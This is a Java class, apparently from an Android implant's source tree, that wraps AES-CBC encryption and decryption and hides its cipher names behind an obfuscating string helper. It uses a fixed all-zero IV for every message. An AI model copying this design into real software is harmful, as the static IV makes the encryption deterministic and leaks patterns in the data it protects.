package com.android.dvci.crypto; import java.security.InvalidAlgorithmParameterException; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import com.android.dvci.action.sync.Statistics; import com.android.dvci.auto.Cfg; import com.android.mm.M; public class CryptoCBC { private Cipher cipherEnc; private Cipher cipherDec; private byte[] aes_key; private SecretKeySpec skey_spec; private IvParameterSpec ivSpec; public CryptoCBC(final byte[] key) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException { aes_key = new byte[key.length]; System.arraycopy(key, 0, aes_key, 0, key.length); // 17.0=AES skey_spec = new SecretKeySpec(aes_key, M.e("AES")); //$NON-NLS-1$ final byte[] iv = new byte[16]; for (int i = 0; i < 16; i++) { iv[i] = 0; } ivSpec = new IvParameterSpec(iv); cipherEnc = Cipher.getInstance(M.e("AES/CBC/PKCS5Padding")); cipherEnc.init(Cipher.ENCRYPT_MODE, skey_spec, ivSpec); cipherDec = Cipher.getInstance(M.e("AES/CBC/PKCS5Padding")); cipherDec.init(Cipher.DECRYPT_MODE, skey_spec, ivSpec); } /** * Encrypt. * * @param clear * the clear * @return the byte[] * @throws InvalidAlgorithmParameterException * @throws InvalidKeyException * @throws BadPaddingException * @throws IllegalBlockSizeException * @throws Exception * the exception */ public byte[] encrypt(final byte[] clear) throws InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException { Statistics stats; if(Cfg.STATISTICS){ stats=new Statistics("Encrypt",clear.length); } final byte[] encrypted = cipherEnc.doFinal(clear); if(Cfg.STATISTICS){ stats.stop(); } return encrypted; } /** * Decrypt. * * @param encrypted * the encrypted * @return the byte[] * @throws Exception * the exception */ public byte[] decrypt(final byte[] encrypted, int offset, long length) throws Exception { final byte[] decrypted = cipherDec.doFinal(encrypted,offset,(int) length); return decrypted; } }